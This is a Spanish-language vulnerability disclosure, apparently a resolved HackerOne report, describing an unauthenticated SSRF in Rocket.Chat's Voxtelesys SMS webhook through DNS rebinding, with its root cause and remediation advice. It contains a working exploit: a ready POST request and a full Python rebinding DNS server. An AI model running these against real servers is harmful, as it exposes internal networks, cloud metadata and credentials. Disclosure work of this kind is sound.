Resumen
Rocket.Chat 7.13.2 incorpora integraciones de SMS (Twilio y Voxtelesys) que, entre otras cosas, descargan los archivos adjuntos a un mensaje a partir de la URL que viene en la petición entrante. Antes de pedir esos archivos, el código pasa la URL por la función checkUrlForSsrf, pensada para rechazar direcciones que apunten a hosts internos.
El problema es que esa comprobación resuelve el nombre de dominio una vez y la descarga lo vuelve a resolver después, de forma independiente. Un atacante que controle el servidor DNS del dominio puede devolver una dirección distinta en cada consulta (ataque de DNS rebinding): una dirección pública e inocua cuando se valida y una dirección interna cuando se descarga. Así el filtro se da por superado y la petición acaba yendo a la red interna.
El endpoint afectado no requiere autenticación. Según el investigador, el fallo vuelve a esquivar la corrección aplicada para CVE-2024-39713, que es el identificador que el reporte tiene asociado en HackerOne.
Pasos de reproducción
Requisito previo: tener habilitada la integración de Voxtelesys en los ajustes de SMS de Rocket.Chat.
Montaje del atacante. En las pruebas del investigador había, en la misma LAN que Rocket.Chat, un servidor interno (un httpbin en 192.168.100.14:80) inalcanzable desde fuera, y un servidor DNS controlado por el atacante que Rocket.Chat usaba para resolver nombres. Para el dominio conamikan.test, ese DNS respondía con una IP pública (1.1.1.1) y TTL=0 en la primera consulta, y con 192.168.100.14 en la segunda y siguientes; el resto de dominios los reenviaba a 8.8.8.8. En un escenario real, el dominio lo controlaría el atacante y la resolución la haría su propio DNS, así que el montaje basta para verificar el ataque.
Paso 1. Sin autenticación, el atacante lanza una petición al webhook de SMS entrante de Voxtelesys, poniendo como adjunto (media) una URL de su dominio (sustituye <Rocket.Chat hostIP> por la dirección de tu entorno):
POST "http://<Rocket.Chat hostIP>/api/v1/livechat/sms-incoming/voxtelesys" \
-H "Content-Type: application/json" \
-d '{
"from": "+15551112222",
"to": "+15550001111",
"body": "Hello from Voxtelesys",
"received_at": "2024-01-01T00:00:00Z",
"media": [
"http://conamikan.test"
]
}'
Con esto, la petición SSRF contra el servidor interno ya se ha producido.
Paso 2. Un agente de LiveChat puede descargar y ver, desde la sala de chat, la respuesta que devolvió el host interno.
Causa raíz
En la función getUploadFile de sms.ts, que da servicio a esta funcionalidad, la URL que envía el usuario se comprueba primero con checkUrlForSsrf y, acto seguido, el archivo se recupera con fetch. Dentro de checkUrlForSsrf se usa nslookup para comprobar si la IP asociada al dominio es válida.
El fallo está en que son dos resoluciones distintas. En un ataque de DNS rebinding el TTL de la respuesta DNS se pone a 0 (o a un valor muy pequeño). En el primer nslookup, conamikan.test resuelve a 1.1.1.1 y pasa la comprobación. Cuando después se descarga el archivo, al no poder usar la caché se resuelve el nombre otra vez, y esta vez el DNS del atacante devuelve 192.168.100.14. Como la comprobación ya se dio por superada, se accede al servidor interno sin ninguna validación adicional.
El servidor DNS que el investigador usó en la verificación alterna la respuesta según el número de peticiones recibidas. Con Docker, basta con ejecutarlo en un contenedor de la misma LAN y configurarlo como DNS del contenedor de Rocket.Chat:
from dnslib import DNSRecord, QTYPE, RR, A
from dnslib.server import DNSServer
import socket
import time
# settings
DOMAIN = "conamikan.test." # attacker's domein
GLOBAL_IP = "1.1.1.1" # something valid IP address
TARGET_IP = "192.168.100.14" # internal IP address
UPSTREAM_DNS = "8.8.8.8" # Forwarding destination(Google DNS server)
class RebindResolver:
def __init__(self):
# Initialize count as an instance variable
self.request_count = 0
self.reset_timer = time.perf_counter()
def resolve(self, request, handler):
# Reset self.request_count every 5 seconds
if (time.perf_counter() - self.reset_timer) > 5:
self.request_count = 0
self.reset_timer = time.perf_counter()
qname = str(request.q.qname).strip(".")
target_domain = DOMAIN.strip(".")
# Only for conamikan.test
if qname == target_domain:
reply = request.reply()
# Return GLOBAL_IP only when self.request_count is 0
if self.request_count == 0:
ip = GLOBAL_IP
else:
ip = TARGET_IP
self.request_count += 1
# TTL is 0
reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A(ip), ttl=0))
print(f"[*] [REBIND] {qname} -> {ip} (Count: {self.request_count})")
return reply
# Forward other domains to Google DNS
else:
try:
proxy_req = request.pack()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2.0)
sock.sendto(proxy_req, (UPSTREAM_DNS, 53))
data, _ = sock.recvfrom(512)
print(f"[+] [FORWARD] {qname} to {UPSTREAM_DNS}")
return DNSRecord.parse(data)
except Exception as e:
print(f"[!] [ERROR] Failed to forward {qname}: {e}")
return request.reply()
if __name__ == "__main__":
resolver = RebindResolver()
server = DNSServer(resolver, port=53, address="0.0.0.0")
print(f"DNS Server started. Rebinding: {DOMAIN}, Forwarding: {UPSTREAM_DNS}")
server.start()
Impacto
Un atacante no autenticado puede alcanzar recursos de la red interna que normalmente serían inaccesibles y usar la técnica para rastrear la red. Como además recibe de vuelta las respuestas de los hosts internos, el riesgo de fuga de información es muy alto. La misma técnica permite llegar a servicios en la nube y a endpoints de metadatos, con lo que podrían quedar expuestos datos y credenciales del lado del proveedor cloud.
Remediación
El investigador señala que mitigar por completo el DNS rebinding es difícil y que, siempre que se pueda, conviene evitar hacer peticiones salientes a URLs arbitrarias. Cuando esa funcionalidad sea imprescindible, propone:
- Permitir únicamente URLs HTTPS.
- En HTTP, usar directamente la IP resuelta en el primer
nslookup(en lugar de volver a resolver el nombre al descargar). - Rechazar respuestas DNS con valores de TTL extremadamente pequeños.
El reporte figura como Resuelto en el programa de Rocket.Chat.